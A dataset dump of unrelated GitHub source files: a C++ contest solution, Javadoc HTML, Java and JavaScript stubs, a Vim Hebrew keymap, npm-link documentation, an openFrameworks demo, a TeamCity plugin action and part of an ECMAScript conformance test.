text
stringlengths 2
97.5k
| meta
dict |
|---|---|
// Tomasz Syposz, O(n^2 m)
#include <bits/stdc++.h>
using namespace std;
#define REP(i,a,b) for(int i=(a);i<=(b);++i)
#define FORI(i,n) REP(i,1,n)
#define FOR(i,n) REP(i,0,int(n)-1)
#define mp make_pair
#define pb push_back
#define pii pair<int,int>
#define vi vector<int>
#define ll long long
#define SZ(x) int((x).size())
#define DBG(v) cerr << #v << " = " << (v) << endl;
#define FOREACH(i,t) for (typeof(t.begin()) i=t.begin(); i!=t.end(); i++)
#define SORT(X) sort(X.begin(),X.end())
#define fi first
#define se second
int Oj[3030];
int L[3030];
vector<int> V[3030];
int Sd[3030];
int In[3030];
int Out[3030];
int T,tmp_sd;
void dfs(int u){
In[u] = ++T;
tmp_sd += L[u];
FOR(i,SZ(V[u]))
dfs(V[u][i]);
Sd[u] = tmp_sd;
Out[u] = ++T;
tmp_sd -= L[u];
// printf("%d: %d %d %d\n", u,Sd[u],In[u],Out[u]);
}
int mxLen,slink,n;
bool below(int a, int b){
if(In[a] > In[b]) return 0;
if(Out[a] < Out[b]) return 0;
return 1;
}
bool check(int a,int b){
// cout<<Sd[a]+b<<endl;
if(Sd[a] + b == mxLen) return 1;
int j = a;
FOR(i,n+1){
if(Sd[a]+Sd[i]-Sd[j]+slink+b == mxLen) return 1;
if(!below(j,i)) continue;
if((mxLen - b-Sd[a]) % (slink+Sd[i]-Sd[j]) == 0) return 1;
}
do{
j = Oj[j];
FOR(i,n+1){
if(Sd[a]+Sd[i]-Sd[j]+slink+b == mxLen) return 1;
if(!below(j,i)) continue;
if((mxLen - b-Sd[a]) % (slink+Sd[i]-Sd[j]) == 0) return 1;
}
}while(j != 0);
return 0;
}
int main () {
int m,k;
scanf("%d%d%d%d",&n,&m,&k,&slink);
mxLen = k;
slink++;
FORI(i,n){
int a,b;
scanf("%d%d",&a,&b);
Oj[i] = a;
L[i] = b+1;
V[a].pb(i);
}
L[0] = 1;
dfs(0);
FOR(i,m){
int a,b;
scanf("%d%d",&a,&b);
bool IF = check(a,b);
if(IF) puts("YES");
else puts("NO");
}
}
|
{
"pile_set_name": "Github"
}
|
<!DOCTYPE HTML>
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (14.0.1) on Fri Jul 17 14:15:42 EDT 2020 -->
<title>ImagePullPolicy (weblogic-kubernetes-operator 3.0.0 API)</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="dc.created" content="2020-07-17">
<meta name="description" content="declaration: package: oracle.kubernetes.operator, enum: ImagePullPolicy">
<meta name="generator" content="javadoc/ClassWriterImpl">
<link rel="stylesheet" type="text/css" href="../../../stylesheet.css" title="Style">
<link rel="stylesheet" type="text/css" href="../../../script-dir/jquery-ui.css" title="Style">
<script type="text/javascript" src="../../../script.js"></script>
<script type="text/javascript" src="../../../script-dir/jszip/dist/jszip.min.js"></script>
<script type="text/javascript" src="../../../script-dir/jszip-utils/dist/jszip-utils.min.js"></script>
<!--[if IE]>
<script type="text/javascript" src="../../../script-dir/jszip-utils/dist/jszip-utils-ie.min.js"></script>
<![endif]-->
<script type="text/javascript" src="../../../script-dir/jquery-3.4.1.js"></script>
<script type="text/javascript" src="../../../script-dir/jquery-ui.js"></script>
</head>
<body class="class-declaration">
<script type="text/javascript">var data = {"i0":9,"i1":9};
var tabs = {65535:["t0","All Methods"],1:["t1","Static Methods"],8:["t4","Concrete Methods"]};
var altColor = "altColor";
var rowColor = "rowColor";
var tableTab = "tableTab";
var activeTableTab = "activeTableTab";
var pathtoroot = "../../../";
loadScripts(document, 'script');</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<div class="flexBox">
<header role="banner" class="flexHeader">
<nav role="navigation">
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a id="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a id="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../index.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/ImagePullPolicy.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../index-all.html">Index</a></li>
<li><a href="../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li><a href="#enum.constant.summary">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#enum.constant.detail">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
<div class="navListSearch"><label for="search">SEARCH:</label>
<input type="text" id="search" value="search" disabled="disabled">
<input type="reset" id="reset" value="reset" disabled="disabled">
</div>
</div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="skipNav"><a id="skip.navbar.top">
<!-- -->
</a></div>
</nav>
</header>
<div class="flexContent">
<main role="main">
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle"><span class="packageLabelInType">Package</span> <a href="package-summary.html">oracle.kubernetes.operator</a></div>
<h1 title="Enum ImagePullPolicy" class="title">Enum ImagePullPolicy</h1>
</div>
<div class="contentContainer">
<div class="inheritance" title="Inheritance Tree">java.lang.Object
<div class="inheritance">java.lang.Enum<<a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a>>
<div class="inheritance">oracle.kubernetes.operator.ImagePullPolicy</div>
</div>
</div>
<section class="description">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd><code>java.io.Serializable</code>, <code>java.lang.Comparable<<a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a>></code>, <code>java.lang.constant.Constable</code></dd>
</dl>
<hr>
<pre>public enum <span class="typeNameLabel">ImagePullPolicy</span>
extends java.lang.Enum<<a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a>></pre>
</section>
<section class="summary">
<ul class="blockList">
<!-- ======== NESTED CLASS SUMMARY ======== -->
<li class="blockList">
<section class="nestedClassSummary"><a id="nested.class.summary">
<!-- -->
</a>
<h2>Nested Class Summary</h2>
<div class="inheritedList">
<h2>Nested classes/interfaces inherited from class java.lang.Enum</h2>
<a id="nested.classes.inherited.from.class.java.lang.Enum">
<!-- -->
</a><code>java.lang.Enum.EnumDesc<E extends java.lang.Enum<E>></code></div>
</section>
</li>
<!-- =========== ENUM CONSTANT SUMMARY =========== -->
<li class="blockList">
<section class="constantsSummary"><a id="enum.constant.summary">
<!-- -->
</a>
<h2>Enum Constant Summary</h2>
<div class="memberSummary">
<table>
<caption><span>Enum Constants</span><span class="tabEnd"> </span></caption>
<thead>
<tr>
<th class="colFirst" scope="col">Enum Constant</th>
<th class="colLast" scope="col">Description</th>
</tr>
</thead>
<tbody>
<tr class="altColor">
<th class="colFirst" scope="row"><code><span class="memberNameLink"><a href="#Always">Always</a></span></code></th>
<td class="colLast"> </td>
</tr>
<tr class="rowColor">
<th class="colFirst" scope="row"><code><span class="memberNameLink"><a href="#IfNotPresent">IfNotPresent</a></span></code></th>
<td class="colLast"> </td>
</tr>
<tr class="altColor">
<th class="colFirst" scope="row"><code><span class="memberNameLink"><a href="#Never">Never</a></span></code></th>
<td class="colLast"> </td>
</tr>
</tbody>
</table>
</div>
</section>
</li>
<!-- ========== METHOD SUMMARY =========== -->
<li class="blockList">
<section class="methodSummary"><a id="method.summary">
<!-- -->
</a>
<h2>Method Summary</h2>
<div class="memberSummary">
<div role="tablist" aria-orientation="horizontal"><button role="tab" aria-selected="true" aria-controls="memberSummary_tabpanel" tabindex="0" onkeydown="switchTab(event)" id="t0" class="activeTableTab">All Methods</button><button role="tab" aria-selected="false" aria-controls="memberSummary_tabpanel" tabindex="-1" onkeydown="switchTab(event)" id="t1" class="tableTab" onclick="show(1);">Static Methods</button><button role="tab" aria-selected="false" aria-controls="memberSummary_tabpanel" tabindex="-1" onkeydown="switchTab(event)" id="t4" class="tableTab" onclick="show(8);">Concrete Methods</button></div>
<div id="memberSummary_tabpanel" role="tabpanel">
<table aria-labelledby="t0">
<thead>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colSecond" scope="col">Method</th>
<th class="colLast" scope="col">Description</th>
</tr>
</thead>
<tbody>
<tr class="altColor" id="i0">
<td class="colFirst"><code>static <a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a></code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#valueOf(java.lang.String)">valueOf</a></span>​(java.lang.String name)</code></th>
<td class="colLast">
<div class="block">Returns the enum constant of this type with the specified name.</div>
</td>
</tr>
<tr class="rowColor" id="i1">
<td class="colFirst"><code>static <a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a>[]</code></td>
<th class="colSecond" scope="row"><code><span class="memberNameLink"><a href="#values()">values</a></span>()</code></th>
<td class="colLast">
<div class="block">Returns an array containing the constants of this enum type, in
the order they are declared.</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="inheritedList">
<h3>Methods inherited from class java.lang.Enum</h3>
<a id="methods.inherited.from.class.java.lang.Enum">
<!-- -->
</a><code>clone, compareTo, describeConstable, equals, finalize, getDeclaringClass, hashCode, name, ordinal, toString, valueOf</code></div>
<div class="inheritedList">
<h3>Methods inherited from class java.lang.Object</h3>
<a id="methods.inherited.from.class.java.lang.Object">
<!-- -->
</a><code>getClass, notify, notifyAll, wait, wait, wait</code></div>
</section>
</li>
</ul>
</section>
<section class="details">
<ul class="blockList">
<!-- ============ ENUM CONSTANT DETAIL =========== -->
<li class="blockList">
<section class="constantDetails"><a id="enum.constant.detail">
<!-- -->
</a>
<h2>Enum Constant Details</h2>
<ul class="blockList">
<li class="blockList">
<section class="detail">
<h3><a id="Always">Always</a></h3>
<div class="memberSignature"><span class="modifiers">public static final</span> <span class="returnType"><a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a></span> <span class="memberName">Always</span></div>
</section>
</li>
<li class="blockList">
<section class="detail">
<h3><a id="Never">Never</a></h3>
<div class="memberSignature"><span class="modifiers">public static final</span> <span class="returnType"><a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a></span> <span class="memberName">Never</span></div>
</section>
</li>
<li class="blockList">
<section class="detail">
<h3><a id="IfNotPresent">IfNotPresent</a></h3>
<div class="memberSignature"><span class="modifiers">public static final</span> <span class="returnType"><a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a></span> <span class="memberName">IfNotPresent</span></div>
</section>
</li>
</ul>
</section>
</li>
<!-- ============ METHOD DETAIL ========== -->
<li class="blockList">
<section class="methodDetails"><a id="method.detail">
<!-- -->
</a>
<h2>Method Details</h2>
<ul class="blockList">
<li class="blockList">
<section class="detail">
<h3><a id="values()">values</a></h3>
<div class="memberSignature"><span class="modifiers">public static</span> <span class="returnType"><a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a>[]</span> <span class="memberName">values</span>()</div>
<div class="block">Returns an array containing the constants of this enum type, in
the order they are declared.</div>
<dl>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>an array containing the constants of this enum type, in the order they are declared</dd>
</dl>
</section>
</li>
<li class="blockList">
<section class="detail">
<h3><a id="valueOf(java.lang.String)">valueOf</a></h3>
<div class="memberSignature"><span class="modifiers">public static</span> <span class="returnType"><a href="ImagePullPolicy.html" title="enum in oracle.kubernetes.operator">ImagePullPolicy</a></span> <span class="memberName">valueOf</span>​(<span class="arguments">java.lang.String name)</span></div>
<div class="block">Returns the enum constant of this type with the specified name.
The string must match <i>exactly</i> an identifier used to declare an
enum constant in this type. (Extraneous whitespace characters are
not permitted.)</div>
<dl>
<dt><span class="paramLabel">Parameters:</span></dt>
<dd><code>name</code> - the name of the enum constant to be returned.</dd>
<dt><span class="returnLabel">Returns:</span></dt>
<dd>the enum constant with the specified name</dd>
<dt><span class="throwsLabel">Throws:</span></dt>
<dd><code>java.lang.IllegalArgumentException</code> - if this enum type has no constant with the specified name</dd>
<dd><code>java.lang.NullPointerException</code> - if the argument is null</dd>
</dl>
</section>
</li>
</ul>
</section>
</li>
</ul>
</section>
</div>
<!-- ========= END OF CLASS DATA ========= -->
</main>
<footer role="contentinfo">
<nav role="navigation">
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a id="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a id="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../index.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/ImagePullPolicy.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../index-all.html">Index</a></li>
<li><a href="../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<div>
<ul class="subNavList">
<li>Summary: </li>
<li><a href="#nested.class.summary">Nested</a> | </li>
<li><a href="#enum.constant.summary">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method.summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#enum.constant.detail">Enum Constants</a> | </li>
<li>Field | </li>
<li><a href="#method.detail">Method</a></li>
</ul>
</div>
</div>
<a id="skip.navbar.bottom">
<!-- -->
</a>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</nav>
<p class="legalCopy"><small>Copyright © 2017–2020. All rights reserved.</small></p>
</footer>
</div>
</div>
</body>
</html>
|
{
"pile_set_name": "Github"
}
|
package ohi.andre.consolelauncher.tuils.stuff;
import android.app.Activity;
/**
* Created by francescoandreuzzi on 21/05/2017.
*/
public class FakeLauncherActivity extends Activity{}
|
{
"pile_set_name": "Github"
}
|
/* Copyright (c) 2014-2017, ARM Limited and Contributors
*
* SPDX-License-Identifier: MIT
*
* Permission is hereby granted, free of charge,
* to any person obtaining a copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
* INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
package com.arm.malideveloper.openglessdk.projectedLights;
public class NativeLibrary
{
static
{
System.loadLibrary("Native");
}
public static native void init(int width, int height);
public static native void uninit();
public static native void step();
}
|
{
"pile_set_name": "Github"
}
|
var $ = require('../../modules/$');
module.exports = function create(P, D){
return $.create(P, D);
};
|
{
"pile_set_name": "Github"
}
|
<ul> </ul>
|
{
"pile_set_name": "Github"
}
|
" Vim Keymap file for hebrew
" Maintainer : Ron Aaron <ron@ronware.org>
" Last Updated: Wed 28 Feb 2001 21:28:51
" This is the standard Israeli keyboard layout
" Use this short name in the status line.
let b:keymap_name = "heb"
loadkeymap
a <char-249> " ù - shin
b <char-240> " ð - nun
c <char-225> " á - bet
d <char-226> " â - gimel
e <char-247> " ÷ - qof
f <char-235> " ë - kaf
g <char-242> " ò - ayin
h <char-233> " é - yod
i <char-239> " ï - final nun
j <char-231> " ç - het
k <char-236> " ì - lamed
l <char-234> " ê - final kaf
m <char-246> " ö - tsadi
n <char-238> " î - mem
o <char-237> " í - final mem
p <char-244> " ô - pe
q / " / - slash
r <char-248> " ø - resh
s <char-227> " ã - dalet
t <char-224> " à - alef
u <char-229> " å - vav
v <char-228> " ä - he
w ' " ' - single-quote
x <char-241> " ñ - samekh
y <char-232> " è - tet
z <char-230> " æ - zayin
, <char-250> " ú - tav
. <char-245> " õ - final tsadi
; <char-243> " ó - final pe
' , " , - comma
/ . " . - period
` ; " ; - semicolon
|
{
"pile_set_name": "Github"
}
|
<!doctype html>
<html>
<title>npm-link</title>
<meta charset="utf-8">
<link rel="stylesheet" type="text/css" href="../../static/style.css">
<link rel="canonical" href="https://www.npmjs.org/doc/cli/npm-link.html">
<script async=true src="../../static/toc.js"></script>
<body>
<div id="wrapper">
<h1><a href="../cli/npm-link.html">npm-link</a></h1> <p>Symlink a package folder</p>
<h2 id="synopsis">SYNOPSIS</h2>
<pre><code>npm link (in package dir)
npm link [<@scope>/]<pkg>[@<version>]
alias: npm ln
</code></pre><h2 id="description">DESCRIPTION</h2>
<p>Package linking is a two-step process.</p>
<p>First, <code>npm link</code> in a package folder will create a symlink in the global folder
<code>{prefix}/lib/node_modules/<package></code> that links to the package where the <code>npm
link</code> command was executed. (see <code><a href="../misc/npm-config.html">npm-config(7)</a></code> for the value of <code>prefix</code>). It
will also link any bins in the package to <code>{prefix}/bin/{name}</code>.</p>
<p>Next, in some other location, <code>npm link package-name</code> will create a
symbolic link from globally-installed <code>package-name</code> to <code>node_modules/</code>
of the current folder.</p>
<p>Note that <code>package-name</code> is taken from <code>package.json</code>,
not from directory name.</p>
<p>The package name can be optionally prefixed with a scope. See <code><a href="../misc/npm-scope.html">npm-scope(7)</a></code>.
The scope must be preceded by an @-symbol and followed by a slash.</p>
<p>When creating tarballs for <code>npm publish</code>, the linked packages are
"snapshotted" to their current state by resolving the symbolic links.</p>
<p>This is handy for installing your own stuff, so that you can work on it and
test it iteratively without having to continually rebuild.</p>
<p>For example:</p>
<pre><code>cd ~/projects/node-redis # go into the package directory
npm link # creates global link
cd ~/projects/node-bloggy # go into some other package directory.
npm link redis # link-install the package
</code></pre><p>Now, any changes to ~/projects/node-redis will be reflected in
~/projects/node-bloggy/node_modules/node-redis/. Note that the link should
be to the package name, not the directory name for that package.</p>
<p>You may also shortcut the two steps in one. For example, to do the
above use-case in a shorter way:</p>
<pre><code>cd ~/projects/node-bloggy # go into the dir of your main project
npm link ../node-redis # link the dir of your dependency
</code></pre><p>The second line is the equivalent of doing:</p>
<pre><code>(cd ../node-redis; npm link)
npm link node-redis
</code></pre><p>That is, it first creates a global link, and then links the global
installation target into your project's <code>node_modules</code> folder.</p>
<p>If your linked package is scoped (see <code><a href="../misc/npm-scope.html">npm-scope(7)</a></code>) your link command must
include that scope, e.g.</p>
<pre><code>npm link @myorg/privatepackage
</code></pre><h2 id="see-also">SEE ALSO</h2>
<ul>
<li><a href="../misc/npm-developers.html">npm-developers(7)</a></li>
<li><a href="../files/package.json.html">package.json(5)</a></li>
<li><a href="../cli/npm-install.html">npm-install(1)</a></li>
<li><a href="../files/npm-folders.html">npm-folders(5)</a></li>
<li><a href="../cli/npm-config.html">npm-config(1)</a></li>
<li><a href="../misc/npm-config.html">npm-config(7)</a></li>
<li><a href="../files/npmrc.html">npmrc(5)</a></li>
</ul>
</div>
<table border=0 cellspacing=0 cellpadding=0 id=npmlogo>
<tr><td style="width:180px;height:10px;background:rgb(237,127,127)" colspan=18> </td></tr>
<tr><td rowspan=4 style="width:10px;height:10px;background:rgb(237,127,127)"> </td><td style="width:40px;height:10px;background:#fff" colspan=4> </td><td style="width:10px;height:10px;background:rgb(237,127,127)" rowspan=4> </td><td style="width:40px;height:10px;background:#fff" colspan=4> </td><td rowspan=4 style="width:10px;height:10px;background:rgb(237,127,127)"> </td><td colspan=6 style="width:60px;height:10px;background:#fff"> </td><td style="width:10px;height:10px;background:rgb(237,127,127)" rowspan=4> </td></tr>
<tr><td colspan=2 style="width:20px;height:30px;background:#fff" rowspan=3> </td><td style="width:10px;height:10px;background:rgb(237,127,127)" rowspan=3> </td><td style="width:10px;height:10px;background:#fff" rowspan=3> </td><td style="width:20px;height:10px;background:#fff" rowspan=4 colspan=2> </td><td style="width:10px;height:20px;background:rgb(237,127,127)" rowspan=2> </td><td style="width:10px;height:10px;background:#fff" rowspan=3> </td><td style="width:20px;height:10px;background:#fff" rowspan=3 colspan=2> </td><td style="width:10px;height:10px;background:rgb(237,127,127)" rowspan=3> </td><td style="width:10px;height:10px;background:#fff" rowspan=3> </td><td style="width:10px;height:10px;background:rgb(237,127,127)" rowspan=3> </td></tr>
<tr><td style="width:10px;height:10px;background:#fff" rowspan=2> </td></tr>
<tr><td style="width:10px;height:10px;background:#fff"> </td></tr>
<tr><td style="width:60px;height:10px;background:rgb(237,127,127)" colspan=6> </td><td colspan=10 style="width:10px;height:10px;background:rgb(237,127,127)"> </td></tr>
<tr><td colspan=5 style="width:50px;height:10px;background:#fff"> </td><td style="width:40px;height:10px;background:rgb(237,127,127)" colspan=4> </td><td style="width:90px;height:10px;background:#fff" colspan=9> </td></tr>
</table>
<p id="footer">npm-link — npm@5.5.1</p>
|
{
"pile_set_name": "Github"
}
|
#include "ofApp.h"
//--------------------------------------------------------------
void ofApp::setup(){
ofSetVerticalSync(true);
ofBackground(0,0,0);
ofSetCircleResolution(100);
radius = 50;
}
//--------------------------------------------------------------
void ofApp::update(){
radius = radius + 0.1;
}
//--------------------------------------------------------------
void ofApp::draw(){
float xorig = 500;
float yorig = 300;
float angle = ofGetElapsedTimef()*3.5;
float x = xorig + radius * cos(angle);
float y = yorig + radius * -sin(angle);
ofPoint temp;
temp.x = x;
temp.y = y;
points.push_back(temp);
if (points.size() > 1000){
points.erase(points.begin());
}
ofSetRectMode(OF_RECTMODE_CENTER);
ofSetColor(255,0,127);
ofFill();
ofCircle(x,y,10);
ofSetColor(255,255,255);
ofNoFill();
ofBeginShape();
for (int i = 0; i < points.size(); i++){
ofVertex(points[i].x, points[i].y);
}
ofEndShape();
}
//--------------------------------------------------------------
void ofApp::keyPressed(int key){
}
//--------------------------------------------------------------
void ofApp::keyReleased(int key){
}
//--------------------------------------------------------------
void ofApp::mouseMoved(int x, int y ){
}
//--------------------------------------------------------------
void ofApp::mouseDragged(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mousePressed(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::mouseReleased(int x, int y, int button){
}
//--------------------------------------------------------------
void ofApp::windowResized(int w, int h){
}
|
{
"pile_set_name": "Github"
}
|
package webhook.teamcity.server.rest.web.action;
import java.nio.file.Path;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.jdom.Element;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import jetbrains.buildServer.controllers.ActionMessages;
import jetbrains.buildServer.web.openapi.ControllerAction;
import webhook.teamcity.server.WebHookTeamCityRestApiZipPluginFixer;
import webhook.teamcity.server.pluginfixer.JarReport;
import webhook.teamcity.server.rest.web.WebHookRestApiActionController;
public class FixPluginZipFileAction extends WebHooksApiAction implements ControllerAction {
private static final String ATTR_NAME_API_FIX_RESULT = "apiFixResult";
private static final String ATTR_NAME_ERROR = "error";
private final WebHookTeamCityRestApiZipPluginFixer myPluginFixer;
private static final String CLEAN_API_ZIPFILE_OR_UNPACKED_DIR = "apiZipFix";
private static final String API_ZIP_FILE = "apiZipFile";
public FixPluginZipFileAction(@NotNull final WebHookTeamCityRestApiZipPluginFixer pluginFixer,
@NotNull final WebHookRestApiActionController controller) {
myPluginFixer = pluginFixer;
controller.registerAction(this);
}
@Override
public String getApiAction() {
return CLEAN_API_ZIPFILE_OR_UNPACKED_DIR;
}
public void process(@NotNull final HttpServletRequest request, @NotNull final HttpServletResponse response,
@Nullable final Element ajaxResponse) {
String path;
try {
path = getParameterAsStringOrNull(request, API_ZIP_FILE, "Please supply an API ZIP file path.");
} catch (MissingPathException e) {
ajaxResponse.setAttribute(ATTR_NAME_ERROR, e.getMessage());
ActionMessages.getOrCreateMessages(request).addMessage(ATTR_NAME_API_FIX_RESULT, e.getMessage());
return;
}
boolean hasDoneCleanup = false;
boolean errored = false;
for (Path p : myPluginFixer.getFoundApiZipFiles()) {
if (p.toString().equals(path)) {
JarReport report = myPluginFixer.fixRestApiZipPlugin(p);
if (report.isErrored()) {
StringBuilder sb = new StringBuilder();
for (String message : report.getFailureMessageList()) {
sb.append(message).append("\n");
}
ajaxResponse.setAttribute(ATTR_NAME_ERROR, sb.toString());
errored = true;
}
hasDoneCleanup = true;
}
}
myPluginFixer.findRestApiZipPlugins();
if (errored) {
ActionMessages.getOrCreateMessages(request).addMessage(ATTR_NAME_API_FIX_RESULT, ajaxResponse.getAttribute(ATTR_NAME_ERROR).getValue());
return;
}
if (! hasDoneCleanup) {
String errorMsg = "The file you asked to clean does not appear to be in error. No cleaning was attemtped";
ajaxResponse.setAttribute(ATTR_NAME_ERROR, errorMsg);
ActionMessages.getOrCreateMessages(request).addMessage(ATTR_NAME_API_FIX_RESULT, errorMsg);
return;
}
String errorMsg = "The file you asked to clean does not appear to have been successfully cleaned. Please see the GitHub issue linked on this page for more information.";
for (Path p : myPluginFixer.getFoundApiZipFilesContainingJaxbJars()) {
if (p.toString().equals(path)) {
ajaxResponse.setAttribute(ATTR_NAME_ERROR, errorMsg);
ActionMessages.getOrCreateMessages(request).addMessage(ATTR_NAME_API_FIX_RESULT, errorMsg);
return;
}
}
ActionMessages.getOrCreateMessages(request).addMessage(ATTR_NAME_API_FIX_RESULT, "API ZIP and/or unpacked jars cleaned. You MUST now restart TeamCity");
ajaxResponse.setAttribute("status", "OK");
}
}
|
{
"pile_set_name": "Github"
}
|
/*****************************************************************************
* Copyright 2015-2020 Alexander Barthel alex@littlenavmap.org
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*****************************************************************************/
#ifndef LNM_CUSTOMPROCEDUREDIALOG_H
#define LNM_CUSTOMPROCEDUREDIALOG_H
#include "common/maptypes.h"
#include <QDialog>
namespace Ui {
class CustomProcedureDialog;
}
class RunwaySelection;
class QAbstractButton;
class UnitStringTool;
/*
* Shows airport and runway information and allows to configure a custom approach procedure for a selected runway.
*
* Reads state on intiantiation and saves it on destruction
*/
class CustomProcedureDialog :
public QDialog
{
Q_OBJECT
public:
explicit CustomProcedureDialog(QWidget *parent, const map::MapAirport& mapAirport);
virtual ~CustomProcedureDialog() override;
/* Selected runway and end or invalid if none */
void getSelected(map::MapRunway& runway, map::MapRunwayEnd& end) const;
/* Distance to runway threshold in NM */
float getEntryDistance() const;
/* Altitude at entry point above airport elevation in feet */
float getEntryAltitude() const;
private:
void restoreState();
void saveState();
void buttonBoxClicked(QAbstractButton *button);
void updateWidgets();
void doubleClicked();
Ui::CustomProcedureDialog *ui;
RunwaySelection *runwaySelection = nullptr;
UnitStringTool *units = nullptr;
};
#endif // LNM_CUSTOMPROCEDUREDIALOG_H
|
{
"pile_set_name": "Github"
}
|
/**
* Copyright (c) 2000-present Liferay, Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or modify it under
* the terms of the GNU Lesser General Public License as published by the Free
* Software Foundation; either version 2.1 of the License, or (at your option)
* any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
* details.
*/
package com.liferay.ide.xml.search.ui.service;
import org.eclipse.wst.xml.search.core.statics.DefaultStaticValueVisitor;
import org.eclipse.wst.xml.search.core.statics.StaticValueQuerySpecification;
/**
* @author Terry Jia
*/
public class OrderByQuerySpecification extends StaticValueQuerySpecification {
public OrderByQuerySpecification() {
super(_visitor);
_visitor.registerValue("asc", "");
_visitor.registerValue("desc", "");
}
private static DefaultStaticValueVisitor _visitor = new DefaultStaticValueVisitor();
}
|
{
"pile_set_name": "Github"
}
|
// Copyright 2009 the Sputnik authors. All rights reserved.
/**
* The with statement adds a computed object to the front of the
* scope chain of the current execution context
*
* @path ch12/12.10/S12.10_A1.7_T5.js
* @description Calling a function within "with" statement declared within the statement, leading to completion by exception
* @noStrict
*/
this.p1 = 1;
this.p2 = 2;
this.p3 = 3;
var result = "result";
var myObj = {p1: 'a',
p2: 'b',
p3: 'c',
value: 'myObj_value',
valueOf : function(){return 'obj_valueOf';},
parseInt : function(){return 'obj_parseInt';},
NaN : 'obj_NaN',
Infinity : 'obj_Infinity',
eval : function(){return 'obj_eval';},
parseFloat : function(){return 'obj_parseFloat';},
isNaN : function(){return 'obj_isNaN';},
isFinite : function(){return 'obj_isFinite';}
}
var del;
var st_p1 = "p1";
var st_p2 = "p2";
var st_p3 = "p3";
var st_parseInt = "parseInt";
var st_NaN = "NaN";
var st_Infinity = "Infinity";
var st_eval = "eval";
var st_parseFloat = "parseFloat";
var st_isNaN = "isNaN";
var st_isFinite = "isFinite";
try {
with(myObj){
